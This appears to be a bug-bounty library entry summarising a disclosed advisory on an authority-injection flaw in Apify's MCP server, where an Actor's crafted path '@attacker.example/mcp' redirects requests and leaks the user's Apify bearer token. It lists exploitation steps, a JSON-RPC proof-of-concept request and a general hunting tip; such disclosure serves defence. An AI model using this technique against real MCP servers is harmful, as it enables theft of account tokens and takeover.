# Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token

Apify MCP server concatenates attacker-controlled webServerMcpPath into standby URL, letting `@attacker.example/mcp` hijack the host and leak the victim's Apify bearer token.

- Payout: Research
- Severity: high
- Program: Apify actors-mcp-server
- Found by: EQSTLab, 232-323
- Disclosed: 2026-07-01
- CVE: CVE-2026-50143
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6gr2-qh89-hxwm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6gr2-qh89-hxwm
- Tags: area:ai domain:ai domain:api impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:secrets-leak vuln:ssrf

**Target:** MCP server Actor standby URL construction (npm @apify/actors-mcp-server)
**Root cause:** getActorMCPServerURL() naively concatenates standbyUrl with the Actor-supplied webServerMcpPath without validating it starts with '/', lacks '@', or resolves to the same origin; WHATWG URL parsing treats the prefix as userinfo and the attacker host as hostname.
**Steps:**
1. Publish an Actor whose definition has `webServerMcpPath` set to `@attacker.example/mcp`.
2. Victim invokes `call-actor`, `fetch-actor-details`, or an actor-mcp tool against that Actor, e.g. JSON-RPC `tools/call` with `name: fetch-actor-details`, `arguments.actor: attacker/malicious-mcp`.
3. Server builds URL via `${standbyUrl}${mcpServerPath}` producing `https://real-actor-id.apify.actor@attacker.example/mcp`.
4. connectMCPClient() attaches `Authorization: Bearer <APIFY_TOKEN>` and connects; attacker host receives the token.
5. Verify parser primitive: `node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"` prints `127.0.0.1 ABC.apify.actor`.
**How found:** Code review of URL construction in src/mcp/actors.ts:44 spotted naive string concatenation of an API-supplied path field; recognized RFC 3986/WHATWG userinfo parsing (`@`) as an authority-injection primitive and traced the token attachment in client.ts to confirm credential leak.
**Exploitation:** Attacker publishes a malicious Actor with crafted webServerMcpPath; when a victim with a configured APIFY_TOKEN invokes any of three tool paths against it, the MCP client resolves the URL to the attacker's host and unconditionally sends the bearer token, exfiltrating full Apify account access.
**Escalation:** Token grants full Apify account control: running/managing Actors, accessing stored data, incurring compute charges.
**Insight:** When a server concatenates a trusted base URL with a path field from an external/attacker-controlled definition, test `@host` userinfo injection: WHATWG URL parsing silently promotes the suffix to hostname while the client still attaches credentials to the new origin.

## Proof of concept (copied exactly from the original report)

**MCP tools/call request with malicious Actor**

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "fetch-actor-details",
    "arguments": {
      "actor": "attacker/malicious-mcp",
      "output": { "mcpTools": true }
    },
    "_meta": { "mcpSessionId": "poc-session" }
  }
}
```

**Node.js URL parser authority injection check**

```
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
```

**Docker build and run exploit commands**

```
docker build -t vuln-001-poc \
  -f vuln-001/Dockerfile \
  /path/to/mcp_38_apify__actors-mcp-server

# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
```

